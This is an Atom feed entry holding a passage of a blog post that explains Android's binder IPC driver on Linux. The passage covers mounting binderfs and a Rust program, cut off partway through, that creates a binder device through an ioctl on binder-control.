<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>ArcaneNibble's site</title><link href="https://arcanenibble.com/" rel="alternate"></link><link href="https://arcanenibble.com/feeds/all.atom.xml" rel="self"></link><id>https://arcanenibble.com/</id><updated>2026-05-11T00:00:00+00:00</updated><entry><title>Demystifying systems programming: Linux (Android) binder driver</title><link href="https://arcanenibble.com/demystifying-systems-programming-linux-android-binder-driver.html" rel="alternate"></link><published>2026-05-11T00:00:00+00:00</published><updated>2026-05-11T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2026-05-11:/demystifying-systems-programming-linux-android-binder-driver.html</id><summary type="html">&lt;p&gt;Is "different from UNIX" all that bad?&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Binder&lt;/em&gt; is an &lt;abbr title="Inter-process communication"&gt;IPC&lt;/abbr&gt; mechanism pretty much only used on Android (although it didn't originate there). Even though Android uses a Linux kernel, the software running on top of that kernel looks very different from a "typical" Linux system. Much of what makes Android "actually work like Android" probably involves Binder under the hood.&lt;/p&gt;
&lt;p&gt;Linux already has a ton of IPC mechanisms, such as &lt;a href="https://man7.org/linux/man-pages/man2/pipe.2.html"&gt;pipes&lt;/a&gt;, &lt;a href="https://man7.org/linux/man-pages/man3/mkfifo.3.html"&gt;FIFOs&lt;/a&gt; (also called "named pipes"), &lt;a href="https://man7.org/linux/man-pages/man2/socket.2.html"&gt;sockets&lt;/a&gt; (networking and networking-adjacent protocols), &lt;a href="https://man7.org/linux/man-pages/man7/svipc.7.html"&gt;System V IPC&lt;/a&gt;, POSIX IPC (an updated System V IPC), and shared memory. However, binder is… different from all of them. As is typical, I feel it's important to experiment with and understand what these differences &lt;em&gt;are&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This investigation was started because I noticed that, beyond "standard" IPC mechanisms, all of the current major platforms also have their own "special" IPC mechanisms, all somehow slightly different. Linux desktop has &lt;a href="https://en.wikipedia.org/wiki/D-Bus"&gt;D-Bus&lt;/a&gt;, Windows has &lt;a href="https://en.wikipedia.org/wiki/Component_Object_Model"&gt;COM&lt;/a&gt;, macOS has &lt;a href="https://developer.apple.com/documentation/xpc"&gt;XPC&lt;/a&gt;, and Android has binder. How are these similar or different? Is a Grand Unified Theory of IPC possible? Or is this situation inevitable?&lt;/p&gt;
&lt;p&gt;Binder is a rather "opinionated" mechanism designed for efficient &lt;em&gt;remote procedure calls&lt;/em&gt; between different processes (on the same computer). These procedures are invoked on "objects" (in the &lt;a href="https://en.wikipedia.org/wiki/Object-oriented_programming"&gt;object-oriented programming&lt;/a&gt; sense) which binder thus knows about and helps reference-count. It can be compared with "&lt;a href="https://en.wikipedia.org/wiki/Distributed_object"&gt;distributed object&lt;/a&gt;" frameworks which were popular in the '90s and '00s, except that binder specifically only works on a single computer and doesn't work across a network. This means that binder can have unique features such as immediately switching to and running the recipient thread (rather than waiting for the OS to eventually get around to scheduling it).&lt;/p&gt;
&lt;p&gt;Like many of the aforementioned frameworks, binder was also not designed to be used directly but is instead hidden behind many layers of abstraction and code generation tools. However, binder &lt;em&gt;is&lt;/em&gt; actually in the upstream Linux kernel, which should (theoretically) mean that it &lt;em&gt;is&lt;/em&gt; subject to the same "WE DO NOT BREAK USERSPACE!" guarantees as any other Linux API. This means we can do our own thing from the bottom up, even though there is little help or guidance in doing so.&lt;/p&gt;
&lt;h1&gt;Setting up&lt;/h1&gt;
&lt;p&gt;Binder is initially set up using a virtual filesystem called &lt;a href="https://docs.kernel.org/admin-guide/binderfs.html"&gt;&lt;code&gt;binderfs&lt;/code&gt;&lt;/a&gt;. To use it, you will need a kernel with the appropriate options enabled. Consult your distro documentation for more information (a number of desktop distributions &lt;em&gt;do&lt;/em&gt; have this enabled).&lt;/p&gt;
&lt;p&gt;In order to create an instance of a &lt;code&gt;binderfs&lt;/code&gt; filesystem, we need to mount it somewhere. For example, as root:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;/tmp/bindertest
mount&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;binder&lt;span class="w"&gt; &lt;/span&gt;binder&lt;span class="w"&gt; &lt;/span&gt;/tmp/bindertest
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If this completes successfully, a &lt;code&gt;binder-control&lt;/code&gt; file will be present:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;/tmp/bindertest/
binder-control&lt;span class="w"&gt;  &lt;/span&gt;features
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In order to create a binder device for doing IPC, we need to issue &lt;code&gt;ioctl&lt;/code&gt;s against the &lt;code&gt;binder-control&lt;/code&gt; device. The ABI for these &lt;code&gt;ioctl&lt;/code&gt;s (or &lt;code&gt;ioctl&lt;/code&gt;, singular) is defined in &lt;a href="https://github.com/torvalds/linux/blob/master/include/uapi/linux/android/binderfs.h"&gt;this header file&lt;/a&gt;. The following Rust code can be used:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;ffi&lt;/span&gt;::&lt;span class="n"&gt;OsStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;fmt&lt;/span&gt;::&lt;span class="n"&gt;Debug&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;os&lt;/span&gt;::&lt;span class="n"&gt;fd&lt;/span&gt;::&lt;span class="n"&gt;AsRawFd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;os&lt;/span&gt;::&lt;span class="n"&gt;unix&lt;/span&gt;::&lt;span class="n"&gt;ffi&lt;/span&gt;::&lt;span class="n"&gt;OsStrExt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;os&lt;/span&gt;::&lt;span class="n"&gt;unix&lt;/span&gt;::&lt;span class="n"&gt;fs&lt;/span&gt;::&lt;span class="n"&gt;PermissionsExt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;path&lt;/span&gt;::&lt;span class="n"&gt;PathBuf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;process&lt;/span&gt;::&lt;span class="n"&gt;ExitCode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="sd"&gt;/// The parameters for the device creation command&lt;/span&gt;
&lt;span class="cp"&gt;#[repr(C)]&lt;/span&gt;
&lt;span class="cp"&gt;#[derive(Clone, Copy, PartialEq, Eq)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;binderfs_device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;/// Device filename&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;: &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;/// Major device number, returned by kernel&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;major&lt;/span&gt;: &lt;span class="kt"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;/// Minor device number, returned by kernel&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minor&lt;/span&gt;: &lt;span class="kt"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;impl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nc"&gt;Self&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="bp"&gt;Self&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;: &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;major&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;minor&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;impl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Debug&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;: &lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nc"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;fmt&lt;/span&gt;::&lt;span class="n"&gt;Formatter&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="nb"&gt;_&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nc"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;fmt&lt;/span&gt;::&lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;debug_struct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;binderfs_device&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;OsStr&lt;/span&gt;::&lt;span class="n"&gt;from_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;major&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;major&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;minor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;minor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nc"&gt;io&lt;/span&gt;::&lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ExitCode&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;env&lt;/span&gt;::&lt;span class="n"&gt;args_os&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;collect&lt;/span&gt;::&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Usage: {} /path/of/binderfs devname&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;to_string_lossy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ExitCode&lt;/span&gt;::&lt;span class="n"&gt;FAILURE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devname_bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devname&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_bytes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devname_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;devname is too long (max 255 chars)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ExitCode&lt;/span&gt;::&lt;span class="n"&gt;FAILURE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Open binder-control&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_control&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PathBuf&lt;/span&gt;::&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binderfs_path&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binderfs_control&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;binder-control&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_control_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;fs&lt;/span&gt;::&lt;span class="n"&gt;File&lt;/span&gt;::&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binderfs_control&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;perm_0666&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_control_file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;perm_0666&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_mode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;0o666&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_control_fd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_control_file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_raw_fd&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Set up args&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ioctl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binderfs_device&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ioctl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;devname_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;()].&lt;/span&gt;&lt;span class="n"&gt;copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;devname_bytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Make the syscall&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;unsafe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;ioctl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;binderfs_control_fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
